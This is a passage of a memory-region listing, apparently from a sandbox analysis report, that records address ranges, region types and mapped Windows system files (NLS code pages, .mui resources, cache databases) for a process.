end_va = 0x3cf45fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4500000"
filename = ""
Region:
id = 409
start_va = 0x3cf4600000
end_va = 0x3cf46fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4600000"
filename = ""
Region:
id = 410
start_va = 0x3cf4700000
end_va = 0x3cf47fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4700000"
filename = ""
Region:
id = 411
start_va = 0x3cf4900000
end_va = 0x3cf49fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4900000"
filename = ""
Region:
id = 412
start_va = 0x3cf4b80000
end_va = 0x3cf4c7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4b80000"
filename = ""
Region:
id = 413
start_va = 0x3cf4c80000
end_va = 0x3cf4d7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4c80000"
filename = ""
Region:
id = 414
start_va = 0x3cf4d80000
end_va = 0x3cf4e7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4d80000"
filename = ""
Region:
id = 415
start_va = 0x3cf4e80000
end_va = 0x3cf4f7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4e80000"
filename = ""
Region:
id = 416
start_va = 0x3cf4f80000
end_va = 0x3cf507ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4f80000"
filename = ""
Region:
id = 417
start_va = 0x3cf5380000
end_va = 0x3cf547ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf5380000"
filename = ""
Region:
id = 418
start_va = 0x3cf5480000
end_va = 0x3cf54fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf5480000"
filename = ""
Region:
id = 419
start_va = 0x3cf5500000
end_va = 0x3cf55fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf5500000"
filename = ""
Region:
id = 420
start_va = 0x3cf5600000
end_va = 0x3cf56fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf5600000"
filename = ""
Region:
id = 421
start_va = 0x3cf5900000
end_va = 0x3cf59fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf5900000"
filename = ""
Region:
id = 422
start_va = 0x3cf5b00000
end_va = 0x3cf5b7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf5b00000"
filename = ""
Region:
id = 423
start_va = 0x3cf5d00000
end_va = 0x3cf5dfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf5d00000"
filename = ""
Region:
id = 424
start_va = 0x3cf5e00000
end_va = 0x3cf5e7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf5e00000"
filename = ""
Region:
id = 425
start_va = 0x3cf5e80000
end_va = 0x3cf5efffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf5e80000"
filename = ""
Region:
id = 426
start_va = 0x3cf5f00000
end_va = 0x3cf5f7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf5f00000"
filename = ""
Region:
id = 427
start_va = 0x3cf6180000
end_va = 0x3cf627ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf6180000"
filename = ""
Region:
id = 428
start_va = 0x3cf6280000
end_va = 0x3cf637ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf6280000"
filename = ""
Region:
id = 429
start_va = 0x3cf6380000
end_va = 0x3cf647ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf6380000"
filename = ""
Region:
id = 430
start_va = 0x3cf6500000
end_va = 0x3cf65fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf6500000"
filename = ""
Region:
id = 431
start_va = 0x3cf6800000
end_va = 0x3cf68fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf6800000"
filename = ""
Region:
id = 432
start_va = 0x3cf6a00000
end_va = 0x3cf6afffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf6a00000"
filename = ""
Region:
id = 433
start_va = 0x3cf6e00000
end_va = 0x3cf6efffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf6e00000"
filename = ""
Region:
id = 434
start_va = 0x3cf6f00000
end_va = 0x3cf6ffffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf6f00000"
filename = ""
Region:
id = 435
start_va = 0x3cf7000000
end_va = 0x3cf70fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf7000000"
filename = ""
Region:
id = 436
start_va = 0x3cf7100000
end_va = 0x3cf71fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf7100000"
filename = ""
Region:
id = 437
start_va = 0x3cf7200000
end_va = 0x3cf72fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf7200000"
filename = ""
Region:
id = 438
start_va = 0x3cf8280000
end_va = 0x3cf837ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf8280000"
filename = ""
Region:
id = 439
start_va = 0x3cf8580000
end_va = 0x3cf867ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf8580000"
filename = ""
Region:
id = 440
start_va = 0x3cf8680000
end_va = 0x3cf877ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf8680000"
filename = ""
Region:
id = 441
start_va = 0x3cf8780000
end_va = 0x3cf887ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf8780000"
filename = ""
Region:
id = 442
start_va = 0x3cf8880000
end_va = 0x3cf897ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf8880000"
filename = ""
Region:
id = 443
start_va = 0x3cf8c00000
end_va = 0x3cf8cfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf8c00000"
filename = ""
Region:
id = 444
start_va = 0x3cfa000000
end_va = 0x3cfa0fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfa000000"
filename = ""
Region:
id = 445
start_va = 0x3cfa100000
end_va = 0x3cfa1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfa100000"
filename = ""
Region:
id = 446
start_va = 0x3cfa200000
end_va = 0x3cfa2fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfa200000"
filename = ""
Region:
id = 447
start_va = 0x3cfa300000
end_va = 0x3cfa3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfa300000"
filename = ""
Region:
id = 448
start_va = 0x3cfa400000
end_va = 0x3cfa4fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfa400000"
filename = ""
Region:
id = 449
start_va = 0x3cfa600000
end_va = 0x3cfa6fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfa600000"
filename = ""
Region:
id = 450
start_va = 0x3cfa700000
end_va = 0x3cfa7fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfa700000"
filename = ""
Region:
id = 451
start_va = 0x3cfa800000
end_va = 0x3cfa8fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfa800000"
filename = ""
Region:
id = 452
start_va = 0x3cfa900000
end_va = 0x3cfa9fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfa900000"
filename = ""
Region:
id = 453
start_va = 0x3cfab00000
end_va = 0x3cfabfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfab00000"
filename = ""
Region:
id = 454
start_va = 0x3cfad00000
end_va = 0x3cfadfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfad00000"
filename = ""
Region:
id = 455
start_va = 0x3cfaf80000
end_va = 0x3cfb07ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfaf80000"
filename = ""
Region:
id = 456
start_va = 0x3cfb080000
end_va = 0x3cfb0fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfb080000"
filename = ""
Region:
id = 457
start_va = 0x3cfb100000
end_va = 0x3cfb1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfb100000"
filename = ""
Region:
id = 458
start_va = 0x3cfb200000
end_va = 0x3cfb2fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfb200000"
filename = ""
Region:
id = 459
start_va = 0x3cfb400000
end_va = 0x3cfb4fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfb400000"
filename = ""
Region:
id = 460
start_va = 0x3cfb500000
end_va = 0x3cfb57ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfb500000"
filename = ""
Region:
id = 461
start_va = 0x3cfb580000
end_va = 0x3cfb67ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfb580000"
filename = ""
Region:
id = 462
start_va = 0x3cfb680000
end_va = 0x3cfb77ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfb680000"
filename = ""
Region:
id = 463
start_va = 0x3cfb780000
end_va = 0x3cfb87ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfb780000"
filename = ""
Region:
id = 464
start_va = 0x3cfb880000
end_va = 0x3cfb97ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfb880000"
filename = ""
Region:
id = 465
start_va = 0x3cfb980000
end_va = 0x3cfb9fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfb980000"
filename = ""
Region:
id = 466
start_va = 0x3cfba00000
end_va = 0x3cfbafffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfba00000"
filename = ""
Region:
id = 467
start_va = 0x3cfbb00000
end_va = 0x3cfbbfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfbb00000"
filename = ""
Region:
id = 468
start_va = 0x3cfbd00000
end_va = 0x3cfbdfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfbd00000"
filename = ""
Region:
id = 469
start_va = 0x3cfbe00000
end_va = 0x3cfbefffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfbe00000"
filename = ""
Region:
id = 470
start_va = 0x3cfbf00000
end_va = 0x3cfbffffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfbf00000"
filename = ""
Region:
id = 471
start_va = 0x3cfc000000
end_va = 0x3cfc0fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc000000"
filename = ""
Region:
id = 472
start_va = 0x3cfc100000
end_va = 0x3cfc1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc100000"
filename = ""
Region:
id = 473
start_va = 0x3cfc200000
end_va = 0x3cfc27ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc200000"
filename = ""
Region:
id = 474
start_va = 0x3cfc280000
end_va = 0x3cfc2fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc280000"
filename = ""
Region:
id = 475
start_va = 0x3cfc300000
end_va = 0x3cfc3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc300000"
filename = ""
Region:
id = 476
start_va = 0x3cfc400000
end_va = 0x3cfc4fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc400000"
filename = ""
Region:
id = 477
start_va = 0x3cfc500000
end_va = 0x3cfc5fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc500000"
filename = ""
Region:
id = 478
start_va = 0x3cfc600000
end_va = 0x3cfc6fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc600000"
filename = ""
Region:
id = 479
start_va = 0x3cfc700000
end_va = 0x3cfc7fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc700000"
filename = ""
Region:
id = 480
start_va = 0x3cfc800000
end_va = 0x3cfc8fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc800000"
filename = ""
Region:
id = 481
start_va = 0x3cfc900000
end_va = 0x3cfc9fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfc900000"
filename = ""
Region:
id = 482
start_va = 0x3cfca00000
end_va = 0x3cfcafffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfca00000"
filename = ""
Region:
id = 483
start_va = 0x3cfcb00000
end_va = 0x3cfcbfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfcb00000"
filename = ""
Region:
id = 484
start_va = 0x3cfcd00000
end_va = 0x3cfcd7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfcd00000"
filename = ""
Region:
id = 485
start_va = 0x3cfce80000
end_va = 0x3cfcf7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfce80000"
filename = ""
Region:
id = 486
start_va = 0x3cfcf80000
end_va = 0x3cfd07ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfcf80000"
filename = ""
Region:
id = 487
start_va = 0x3cfd180000
end_va = 0x3cfd1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfd180000"
filename = ""
Region:
id = 488
start_va = 0x1dc753c0000
end_va = 0x1dc753cffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc753c0000"
filename = ""
Region:
id = 489
start_va = 0x1dc753d0000
end_va = 0x1dc753d0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "svchost.exe.mui"
filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")
Region:
id = 490
start_va = 0x1dc753e0000
end_va = 0x1dc753f4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc753e0000"
filename = ""
Region:
id = 491
start_va = 0x1dc75400000
end_va = 0x1dc75403fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc75400000"
filename = ""
Region:
id = 492
start_va = 0x1dc75410000
end_va = 0x1dc75410fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc75410000"
filename = ""
Region:
id = 493
start_va = 0x1dc75420000
end_va = 0x1dc75421fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75420000"
filename = ""
Region:
id = 494
start_va = 0x1dc75430000
end_va = 0x1dc754edfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 495
start_va = 0x1dc754f0000
end_va = 0x1dc754f0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc754f0000"
filename = ""
Region:
id = 496
start_va = 0x1dc75500000
end_va = 0x1dc75500fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75500000"
filename = ""
Region:
id = 497
start_va = 0x1dc75510000
end_va = 0x1dc75510fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc75510000"
filename = ""
Region:
id = 498
start_va = 0x1dc75520000
end_va = 0x1dc75520fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc75520000"
filename = ""
Region:
id = 499
start_va = 0x1dc75530000
end_va = 0x1dc75530fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75530000"
filename = ""
Region:
id = 500
start_va = 0x1dc75540000
end_va = 0x1dc75541fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc75540000"
filename = ""
Region:
id = 501
start_va = 0x1dc75550000
end_va = 0x1dc75550fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc75550000"
filename = ""
Region:
id = 502
start_va = 0x1dc75560000
end_va = 0x1dc75566fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75560000"
filename = ""
Region:
id = 503
start_va = 0x1dc75570000
end_va = 0x1dc7557cfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "gpsvc.dll.mui"
filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui")
Region:
id = 504
start_va = 0x1dc75580000
end_va = 0x1dc75580fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc75580000"
filename = ""
Region:
id = 505
start_va = 0x1dc75590000
end_va = 0x1dc75596fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75590000"
filename = ""
Region:
id = 506
start_va = 0x1dc755a0000
end_va = 0x1dc755a6fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc755a0000"
filename = ""
Region:
id = 507
start_va = 0x1dc755b0000
end_va = 0x1dc755b3fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 508
start_va = 0x1dc755c0000
end_va = 0x1dc755c3fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 509
start_va = 0x1dc755d0000
end_va = 0x1dc755e0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "propsys.dll.mui"
filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui")
Region:
id = 510
start_va = 0x1dc755f0000
end_va = 0x1dc755f0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc755f0000"
filename = ""
Region:
id = 511
start_va = 0x1dc75600000
end_va = 0x1dc756fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75600000"
filename = ""
Region:
id = 512
start_va = 0x1dc75700000
end_va = 0x1dc757fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75700000"
filename = ""
Region:
id = 513
start_va = 0x1dc75800000
end_va = 0x1dc75987fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc75800000"
filename = ""
Region:
id = 514
start_va = 0x1dc75990000
end_va = 0x1dc75b10fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc75990000"
filename = ""
Region:
id = 515
start_va = 0x1dc75b20000
end_va = 0x1dc75bdffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc75b20000"
filename = ""
Region:
id = 516
start_va = 0x1dc75be0000
end_va = 0x1dc75becfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "iphlpsvc.dll.mui"
filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui")
Region:
id = 517
start_va = 0x1dc75bf0000
end_va = 0x1dc75bf8fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "vsstrace.dll.mui"
filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui")
Region:
id = 518
start_va = 0x1dc75c00000
end_va = 0x1dc75cfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75c00000"
filename = ""
Region:
id = 519
start_va = 0x1dc75d00000
end_va = 0x1dc75dfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75d00000"
filename = ""
Region:
id = 520
start_va = 0x1dc75e00000
end_va = 0x1dc75e44fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db")
Region:
id = 521
start_va = 0x1dc75e50000
end_va = 0x1dc75e56fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75e50000"
filename = ""
Region:
id = 522
start_va = 0x1dc75e60000
end_va = 0x1dc75eedfff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")
Region:
id = 523
start_va = 0x1dc75ef0000
end_va = 0x1dc75ef4fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "winnlsres.dll"
filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll")
Region:
id = 524
start_va = 0x1dc75f00000
end_va = 0x1dc75ffffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc75f00000"
filename = ""
Region:
id = 525
start_va = 0x1dc76000000
end_va = 0x1dc76336fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 526
start_va = 0x1dc76340000
end_va = 0x1dc7641ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "kernelbase.dll.mui"
filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")
Region:
id = 527
start_va = 0x1dc76420000
end_va = 0x1dc76421fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "activeds.dll.mui"
filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui")
Region:
id = 528
start_va = 0x1dc76430000
end_va = 0x1dc76430fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76430000"
filename = ""
Region:
id = 529
start_va = 0x1dc76440000
end_va = 0x1dc7644ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "winnlsres.dll.mui"
filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui")
Region:
id = 530
start_va = 0x1dc76450000
end_va = 0x1dc76452fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mswsock.dll.mui"
filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui")
Region:
id = 531
start_va = 0x1dc76480000
end_va = 0x1dc76491fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "dnsapi.dll.mui"
filename = "\\Windows\\System32\\en-US\\dnsapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dnsapi.dll.mui")
Region:
id = 532
start_va = 0x1dc764a0000
end_va = 0x1dc764a9fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "crypt32.dll.mui"
filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui")
Region:
id = 533
start_va = 0x1dc764b0000
end_va = 0x1dc764b0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc764b0000"
filename = ""
Region:
id = 534
start_va = 0x1dc764d0000
end_va = 0x1dc764d0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "usocore.dll.mui"
filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui")
Region:
id = 535
start_va = 0x1dc764e0000
end_va = 0x1dc764f0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_1256.nls"
filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls")
Region:
id = 536
start_va = 0x1dc76500000
end_va = 0x1dc76506fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76500000"
filename = ""
Region:
id = 537
start_va = 0x1dc76510000
end_va = 0x1dc76520fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_1251.nls"
filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls")
Region:
id = 538
start_va = 0x1dc76530000
end_va = 0x1dc76540fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_1254.nls"
filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls")
Region:
id = 539
start_va = 0x1dc76550000
end_va = 0x1dc76560fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_1250.nls"
filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls")
Region:
id = 540
start_va = 0x1dc76570000
end_va = 0x1dc76580fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_1253.nls"
filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls")
Region:
id = 541
start_va = 0x1dc76590000
end_va = 0x1dc765a0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_1257.nls"
filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls")
Region:
id = 542
start_va = 0x1dc765b0000
end_va = 0x1dc765c0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_1255.nls"
filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls")
Region:
id = 543
start_va = 0x1dc765d0000
end_va = 0x1dc765f7fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_932.nls"
filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls")
Region:
id = 544
start_va = 0x1dc76600000
end_va = 0x1dc766fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76600000"
filename = ""
Region:
id = 545
start_va = 0x1dc76700000
end_va = 0x1dc767fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76700000"
filename = ""
Region:
id = 546
start_va = 0x1dc76800000
end_va = 0x1dc768fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76800000"
filename = ""
Region:
id = 547
start_va = 0x1dc76900000
end_va = 0x1dc769fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76900000"
filename = ""
Region:
id = 548
start_va = 0x1dc76a00000
end_va = 0x1dc76a10fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_874.nls"
filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls")
Region:
id = 549
start_va = 0x1dc76a20000
end_va = 0x1dc76a26fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76a20000"
filename = ""
Region:
id = 550
start_va = 0x1dc76a30000
end_va = 0x1dc76a60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_949.nls"
filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls")
Region:
id = 551
start_va = 0x1dc76a70000
end_va = 0x1dc76a80fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_1258.nls"
filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls")
Region:
id = 552
start_va = 0x1dc76a90000
end_va = 0x1dc76a90fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76a90000"
filename = ""
Region:
id = 553
start_va = 0x1dc76ac0000
end_va = 0x1dc76ac6fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76ac0000"
filename = ""
Region:
id = 554
start_va = 0x1dc76ad0000
end_va = 0x1dc76b00fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_936.nls"
filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls")
Region:
id = 555
start_va = 0x1dc76b30000
end_va = 0x1dc76b31fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76b30000"
filename = ""
Region:
id = 556
start_va = 0x1dc76b40000
end_va = 0x1dc76b46fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76b40000"
filename = ""
Region:
id = 557
start_va = 0x1dc76b50000
end_va = 0x1dc76b80fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_950.nls"
filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls")
Region:
id = 558
start_va = 0x1dc76b90000
end_va = 0x1dc76ba7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76b90000"
filename = ""
Region:
id = 559
start_va = 0x1dc76c00000
end_va = 0x1dc76cfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76c00000"
filename = ""
